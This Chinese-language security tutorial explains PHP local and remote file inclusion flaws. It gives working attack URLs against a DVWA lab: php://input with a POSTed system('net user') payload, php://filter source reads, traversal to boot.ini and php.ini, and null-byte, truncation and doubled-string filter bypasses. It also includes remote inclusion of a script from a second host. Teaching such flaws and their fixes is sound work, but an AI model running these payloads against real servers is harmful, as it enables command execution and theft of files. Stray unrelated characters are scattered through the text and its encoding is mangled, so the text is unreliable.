漏洞原理:程序員開發(fā)web應用程序的時候,未對用戶可控的包含文件進行嚴格過濾锣险,導致攻擊者可構造自己木馬文件被包含膀息,從而執(zhí)行惡意代碼勉痴。漏洞關鍵:包含的文件用戶可控
? ? 文件包含:開發(fā)語言為了更好地使用代碼的重用性秒际,引入了文件包含函數(shù)悬赏,可以通過文件包含函數(shù)將文件包含進來,直接使用包含文件的代碼娄徊。
? ? 產(chǎn)生漏洞的原因:在包含文件時候闽颇,為了靈活包含文件,將被包含文件設置為變量寄锐,通過動態(tài)變量來引入需要包含的文件時兵多,用戶可以對變量的值可控而服務器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞
? ? php文件包含函數(shù):include( )橄仆,include_once( )剩膘,require( ),require_once( )盆顾。其中include( )怠褐,include_once( )當遇到被包含文件的代碼執(zhí)行錯誤時,會給出一個警告椎扬,并繼續(xù)執(zhí)行下面的代碼惫搏。require( )具温,require_once( )當遇到被包含文件的代碼執(zhí)行錯誤時函數(shù)會輸出錯誤信息蚕涤,并終止腳本的運行
漏洞分類:
? ??文件包含支持的協(xié)議:
????????data:text/plain?或?data:text/plain;base64
????????php://input
????????php://filter
????????file://
????????zip://
? ??本地文件包含漏洞:當被包含的文件在服務器本地時,就形成了本地文件包含
? ??遠程文件包含漏洞:當被包含的文件在遠程服務器上時铣猩,就形成了遠程文件包含
? ??????遠程文件包含需要開啟allow_url_include=on 以及allow_url_fopen=on和關閉 magic_quotes_gpc=off
? ??????所包含遠程服務器的文件后綴不能與目標服務器語言相同揖铜。(比如目標服務器是php腳本語言解析的,那么包含的遠程服務器文件后綴不能是php)
常用挖掘方法:
? ? 1. 查看源代碼尋找include(),include_once(),require()和require_once()函數(shù)达皿。
? ? 2.在URL的查詢參數(shù)中尋找類似?page=a.php 天吓, ?home=b.html ,?file=content… 的地方峦椰。
常用攻擊:
? ? ??一個要點:文件包含可以包含任意文件龄寞,即便被包含的文件與當前編程語言無關,甚至為圖片汤功,只要文件被包含物邑,其符合當前腳本語言語法的內(nèi)容都會執(zhí)行,不符合當前腳本語言語法的,會直接將文件內(nèi)容輸出
? ? 1. 文件遍歷讀取色解,從而讀取系統(tǒng)的敏感信息
? ? 2.?上傳帶有木馬的文件如圖片茂嗓,然后包含木馬文件getshell
? ? 3. 通過php協(xié)議包含輸入命令,從而執(zhí)行php命令
? ? 4.包含日志文件
典型攻擊:
? ? 后臺的典型代碼:
? ? ? ?<?php
? ? $filename? = $_GET['filename'];
? ? include($filename);
?????>
? ? 典型攻擊URL:
? ?構造URL:?http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
? ?? 構造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post數(shù)據(jù)為:<?php system('net user');?>
防御&繞過:
? ? 1. 限制本地包含文件只能是php文件
? ??繞過方法1:%00 截斷
條件:magic_quotes_gpc = Off PHP 版本<5.3.4
測試:科阎?filename=../../../../../../boot.ini%00
????繞過方法2:路徑長度截斷
條件:windows下目錄路徑最大長度為256字節(jié)述吸,超出部分將丟棄;
? ?Linux下目錄最大長度為4096字節(jié)锣笨,超出長度將丟棄
測試:?filename=text.txt././././. ?或?filename=test.txt.....
? ? 2. 遠程文件包含防御與繞過:
當服務器的php.ini的配置選項allow_url_fopen和allow_url_include為On蝌矛,則include/require函數(shù)式可加載遠程文件的。
? ? 2.1有限制遠程包含繞過
測試代碼:<?php include($_GET['filename'].".html");?>? 多添加了html后綴错英,到最后遠程包含的文件 一會多一個HTML后綴
問號繞過
測試:朴读?filename=http://192.168.91.133/FI/php.txt?
#號繞過
測試:?filenamr=http://192.168.91.133/FI/php.txt%23
可通過%00截斷繞過
測試:?filename=http://192.168.91.133/FI/php.txt%00
3.str_replace函數(shù)繞過:
使用str_replace函數(shù)是極其不安全的,因為可以使用雙寫繞過替換規(guī)則走趋。
例如:page=hthttp://tp://192.168.0.103/phpinfo.txt時衅金,str_replace函數(shù)會將http://刪除,于是page=http://192.168.0.103/phpinfo.txt簿煌,成功執(zhí)行遠程命令氮唯。
遠程文件包含:http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
本地文件包含:http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini
4.因為替換的只是“../”、“..\”姨伟,所以對采用絕對路徑的方式包含文件是不會受到任何限制的惩琉。
????絕對路徑不受任何影響
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
5. fnmatch函數(shù)繞過:
if(!fnmatch("file*",$file)&&$file!="include.php"),當文件既不是"include.php"也不是"file*"(文件名file開頭)時才拋出錯誤,反之意思夺荒,如果文件名符合其中一個條件既可以瞒渠。
構造URL:http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
page=file:///C:/xampp/htdocs/dvwa/php.ini 剛好滿足"file*"(文件名file開頭)所以成功讀取了服務器的配置文件。
修復方法:
????PHP中可使用open_basedir配置限制訪問限制在指定的區(qū)域
????過濾.(點)/(反斜杠)\(斜杠)
? ? 禁止服務器遠程文件包含